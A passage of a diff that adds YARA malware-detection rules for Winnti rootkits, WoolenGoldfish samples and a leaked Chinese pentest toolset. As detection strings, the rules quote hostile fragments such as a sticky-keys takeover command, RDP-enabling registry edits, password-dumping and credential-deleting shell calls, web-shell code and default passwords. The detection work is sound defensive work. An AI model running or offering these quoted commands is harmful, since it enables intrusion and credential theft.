+		date = "2016-06-08"
+	strings:
+		$s1 = "XPlugKeyLogger.cpp" fullword ascii
+		$s2 = "XPlugProcess.cpp" fullword ascii
+		$s4 = "XPlgLoader.cpp" fullword ascii
+		$s5 = "XPlugPortMap.cpp" fullword ascii
+		$s8 = "XPlugShell.cpp" fullword ascii
+		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
+		$s12 = "XInstall.cpp" fullword ascii
+		$s13 = "XPlugTelnet.cpp" fullword ascii
+		$s14 = "XInstallUAC.cpp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 2 of ($s*) ) ) or ( 5 of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-10
+	Identifier: Winnti Malware
+*/
+
+rule Winnti_signing_cert {
+	meta:
+		description = "Detects a signing certificate used by the Winnti APT group"
+		author = "Florian Roth"
+		reference = "https://securelist.com/analysis/publications/72275/i-am-hdroot-part-1/"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "a9a8dc4ae77b1282f0c8bdebd2643458fc1ceb3145db4e30120dd81676ff9b61"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+	strings:
+		$s1 = "Guangzhou YuanLuo Technology Co." ascii
+		$s2 = "Guangzhou YuanLuo Technology Co.,Ltd" ascii
+		$s3 = "$Asahi Kasei Microdevices Corporation0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule Winnti_malware_Nsiproxy {
+	meta:
+		description = "Detects a Winnti rootkit"
+		author = "Florian Roth"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash2 = "cf1e006694b33f27d7c748bab35d0b0031a22d193622d47409b6725b395bffb0"
+		hash3 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash4 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+		hash5 = "ba7ccd027fd2c826bbe8f2145d5131eff906150bd98fe25a10fbee2c984df1b8"
+	strings:
+		$x1 = "\\Driver\\nsiproxy" fullword wide
+
+		$a1 = "\\Device\\StreamPortal" fullword wide
+		$a2 = "\\Device\\PNTFILTER" fullword wide
+
+		$s1 = "Cookie: SN=" fullword ascii
+		$s2 = "\\BaseNamedObjects\\_transmition_synchronization_" fullword wide
+		$s3 = "Winqual.sys" fullword wide
+		$s4 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "http://www.wasabii.com.tw 0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $x1 and 1 of ($a*) and 2 of ($s*)
+}
+
+rule Winnti_malware_UpdateDLL {
+	meta:
+		description = "Detects a Winnti malware - Update.dll"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+	strings:
+		$c1 = "'Wymajtec$Tima Stempijg Sarviges GA -$G2" fullword ascii
+		$c2 = "AHDNEAFE1.sys" fullword ascii
+		$c3 = "SOTEFEHJ3.sys" fullword ascii
+		$c4 = "MainSYS64.sys" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+		$s4 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+		$s5 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" fullword wide
+		$s6 = "\\??\\pipe\\usbpcg%d" fullword wide
+		$s7 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$s8 = "HOST: %s" fullword ascii
+		$s9 = "$$$--Hello" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and
+		(
+			( 1 of ($c*) and 3 of ($s*) ) or all of ($s*)
+		)
+}
+rule Winnti_malware_FWPK {
+	meta:
+		description = "Detects a Winnti malware - FWPKCLNT.SYS"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "1098518786c84b0d31f215122275582bdcd1666653ebc25d50a142b4f5dabf2c"
+		hash2 = "9a684ffad0e1c6a22db1bef2399f839d8eff53d7024fb014b9a5f714d11febd7"
+		hash3 = "a836397817071c35e24e94b2be3c2fa4ffa2eb1675d3db3b4456122ff4a71368"
+	strings:
+		$s0 = "\\Registry\\Machine\\System\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\" fullword wide
+		$s1 = "%x:%d->%x:%d, Flag %s%s%s%s%s, seq %u, ackseq %u, datalen %u" fullword ascii
+		$s2 = "FWPKCLNT.SYS" fullword ascii
+		$s3 = "Port Layer" fullword wide
+		$s4 = "%x->%x, icmp type %d, code %d" fullword ascii
+		$s5 = "\\BaseNamedObjects\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28E}" fullword wide
+		$s6 = "\\Ndi\\Interfaces" fullword wide
+		$s7 = "\\Device\\{93144EB0-8E3E-4591-B307-8EEBFE7DB28F}" fullword wide
+		$s8 = "Bad packet" fullword ascii
+		$s9 = "\\BaseNamedObjects\\EKV0000000000" fullword wide
+		$s10 = "%x->%x" fullword ascii
+		$s11 = "IPInjectPkt" fullword ascii /* Goodware String - occured 6 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 642KB and all of them
+}
+
+rule Winnti_malware_StreamPortal_Gen {
+	meta:
+		description = "Detects a Winnti malware - Streamportal"
+		author = "Florian Roth"
+		reference = "VTI research"
+		date = "2015-10-10"
+		score = 75
+		hash1 = "326e2cabddb641777d489a9e7a39d52c0dc2dcb1fde1762554ea162792056b6e"
+		hash2 = "9001572983d5b1f99787291edaadbb65eb2701722f52470e89db2c59def24672"
+		hash3 = "aff7c7478fe33c57954b6fec2095efe8f9edf5cdb48a680de9439ba62a77945f"
+	strings:
+		$s0 = "Proxies destination address/port for TCP" fullword wide
+		$s3 = "\\Device\\StreamPortal" fullword wide
+		$s4 = "Transport-Data Proxy Sub-Layer" fullword wide
+		$s5 = "Cookie: SN=" fullword ascii
+		$s6 = "\\BaseNamedObjects\\_transmition_synchronization_" fullword wide
+		$s17 = "NTOSKRNL.EXE" fullword wide /* Goodware String - occured 4 times */
+		$s19 = "FwpsReferenceNetBufferList0" fullword ascii /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 275KB and all of them
+}
+/*
+	Operation WoolenGoldfish Rules (Trendmicro Report)
+	v0.1 25.03.2015
+
+	These rules detect 26 of the samples mentioned in the report
+	Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/operation-woolen-goldfish-when-kittens-go-phishing/
+
+	Tested against 20GB goodware sample archiv - pls report back false positives
+	on LOKI's github page https://github.com/Neo23x0/Loki/issues
+
+*/
+
+rule WoolenGoldfish_Sample_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 60
+		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
+	strings:
+		$s1 = "Cannot execute (%d)" fullword ascii
+		$s16 = "SvcName" fullword ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		super_rule = 1
+		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
+		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
+		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
+	strings:
+		$x0 = "Users\\Wool3n.H4t\\"
+		$x1 = "C-CPP\\CWoolger"
+		$x2 = "NTSuser.exe" fullword wide
+
+		$s1 = "107.6.181.116" fullword wide
+		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
+		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
+		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
+		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
+		$s6 = "wlg.dat" fullword
+		$s7 = "woolger" fullword wide
+		$s8 = "[Enter]" fullword
+		$s9 = "[Control]" fullword
+	condition:
+		( 1 of ($x*) and 2 of ($s*) ) or
+		( 6 of ($s*) )
+}
+
+rule WoolenGoldfish_Generic_2 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
+		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
+		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
+		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
+	strings:
+		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_3 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		author = "Florian Roth"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
+		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
+	strings:
+		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
+		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
+		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+
+		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
+		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
+		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$s4 = "unable to load kernel32.dll" fullword ascii
+		$s5 = "index.php?c=%S&r=%x" fullword wide
+		$s6 = "%s len:%d " fullword ascii
+		$s7 = "Encountered error sending syscall response to client" fullword ascii
+		$s9 = "/info.dat" fullword ascii
+		$s10 = "Error entering thread lock" fullword ascii
+		$s11 = "Error exiting thread lock" fullword ascii
+		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+	condition:
+		( 1 of ($x*) ) or
+		( 8 of ($s*) )
+}
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-23
+    Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_mafix_root {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file root"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "826778ef9c22177d41698b467586604e001fed19"
+    strings:
+        $s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
+        $s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 96KB and all of them
+}
+
+rule CN_Honker_passwd_dict_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
+    strings:
+        $s0 = "654321" fullword ascii /* reversed goodware string '123456' */
+        $s1 = "admin123" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "admin123456" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "administrator" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 2 times */
+        $s4 = "passwd" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 42 times */
+        $s5 = "password" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 244 times */
+        $s7 = "12345678" fullword ascii /* Goodware String - occured 29 times */
+        $s8 = "888888" fullword ascii /* Goodware String - occured 61 times */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_Perl_serv_U {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
+    strings:
+        $s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
+    strings:
+        $s0 = "PassWord:F4ckTeam!@#" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "UserName:F4ck" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "F4ck Team" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
+    strings:
+        $s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_2 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
+    strings:
+        $s1 = "@del c:\\termsrvhack.dll" fullword ascii
+        $s2 = "@del c:\\3389.txt" fullword ascii
+    condition:
+        filesize < 3KB and all of them
+}
+
+rule CN_Honker_Injection_Transit_jmCook {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
+    strings:
+        $s1 = ".Open \"POST\",PostUrl,False" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 9KB and all of them
+}
+
+rule CN_Honker_Pwdump7_Pwdump7 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
+    strings:
+        $s1 = "Pwdump7.exe >pass.txt" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_portRecall_pr {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file pr"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "583cf6dc2304121d835f2879803a22fea76930f3"
+    strings:
+        $s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
+        $s2 = "connect to client" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "PR(Packet redirection) for linux " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule CN_Honker_sig_3389_3389_3 {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "cfedec7bd327897694f83501d76063fe16b13450"
+    strings:
+        $s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule CN_Honker_Alien_D {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
+    strings:
+        $s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii /* PEStudio Blacklist: strings */
+        $s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
+        $s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii
+    condition:
+        filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_ChinaChopper_db {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
+    strings:
+        $s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide /* PEStudio Blacklist: strings */
+        $s2 = "<O>act=login</O>" fullword wide /* PEStudio Blacklist: strings */
+        $s3 = "<H>localhost</H>" fullword wide /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 340KB and 2 of them
+}
+
+rule CN_Honker_syconfig {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
+    strings:
+        $s9 = "Hashq.CrackHost+FormUnit" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x0100 and filesize < 18KB and all of them
+}
+
+rule CN_Honker_linux_bin {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
+    strings:
+        $s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 20KB and all of them
+}
+
+rule CN_Honker_Intersect2_Beta {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
+    strings:
+        $s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "os.system('getent passwd > passwd.txt')" fullword ascii /* PEStudio Blacklist: strings */
+        $s3 = "os.system(\"rm -rf credentials/\")" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        uint16(0) == 0x2123 and filesize < 50KB and 2 of them
+}
+
+rule CN_Honker_IIS_logcleaner1_0_readme {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2ab47d876b49e9a693f602f3545381415e82a556"
+    strings:
+        $s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
+        $s3 = "http://l-y.vicp.net" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule CN_Honker_Alien_command {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "5896b74158ef153d426fba76c2324cd9c261c709"
+    strings:
+        $s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 8KB and all of them
+}
+
+rule CN_Honker_portRecall_bc {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "2084990406398afd856b2309c7f579d7d61c3767"
+    strings:
+        $s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii /* PEStudio Blacklist: strings */
+        $s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 10KB and all of them
+}
+
+rule CN_Honker_Tuoku_script_MSSQL_ {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "7097c21f92306983add3b5b29a517204cd6cd819"
+    strings:
+        $s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+        $s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule CN_Honker_nc_MOVE {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "4195370c103ca467cddc8f2724a8e477635be424"
+    strings:
+        $s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii /* PEStudio Blacklist: strings */
+        $s1 = "HOST: 202.113.20.235" fullword ascii /* PEStudio Blacklist: strings */
+        $s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule CN_Honker_mssqlpw_scan {
+    meta:
+        description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
+        author = "Florian Roth"
+        reference = "Disclosed CN Honker Pentest Toolset"
+        date = "2015-06-23"
+		score = 70
+        hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
+    strings:
+        $s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii /* PEStudio Blacklist: strings */
+        $s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii /* PEStudio Blacklist: strings */
+    condition:
+        filesize < 6KB and all of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CN_Honker_MAC_IPMAC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
+	strings:
+		$s1 = "Http://Www.YrYz.Net" fullword wide
+		$s2 = "IpMac.txt" fullword ascii
+		$s3 = "192.168.0.1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 267KB and all of them
+}
+
+rule CN_Honker_GetSyskey {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
+	strings:
+		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "The system key file \"%s\" is created." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule CN_Honker_Churrasco {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
+	strings:
+		$s0 = "HEAD9 /" ascii
+		$s1 = "logic_er" fullword ascii
+		$s6 = "proggam" fullword ascii
+		$s16 = "DtcGetTransactionManagerExA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 12 times */
+		$s17 = "GetUserNameA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 305 times */
+		$s18 = "OLEAUT" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1276KB and all of them
+}
+
+rule CN_Honker_mysql_injectV1_1_Creak {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file mysql_injectV1.1_Creak.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a1f066789f48a76023598c5777752c15f91b76b0"
+	strings:
+		$s0 = "1http://192.169.200.200:2217/mysql_inject.php?id=1" fullword ascii /* PEStudio Blacklist: strings */
+		$s12 = "OnGetPassword" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5890KB and all of them
+}
+
+rule CN_Honker_ASP_wshell {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wshell.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ae33c835e7ea6d9df74fe99fcf1e2fb9490c978"
+	strings:
+		$s0 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "UserPass="
+		$s2 = "VerName="
+		$s3 = "StateName="
+	condition:
+		uint16(0) == 0x253c and filesize < 200KB and all of them
+}
+
+rule CN_Honker_exp_iis7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iis7.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "WinSta0\\Default" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_SegmentWeapon {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SegmentWeapon.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "494ef20067a7ce2cc95260e4abc16fcfa7177fdf"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "http://www.nforange.com/inc/1.asp?" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Alien_iispwd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file iispwd.vbs"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
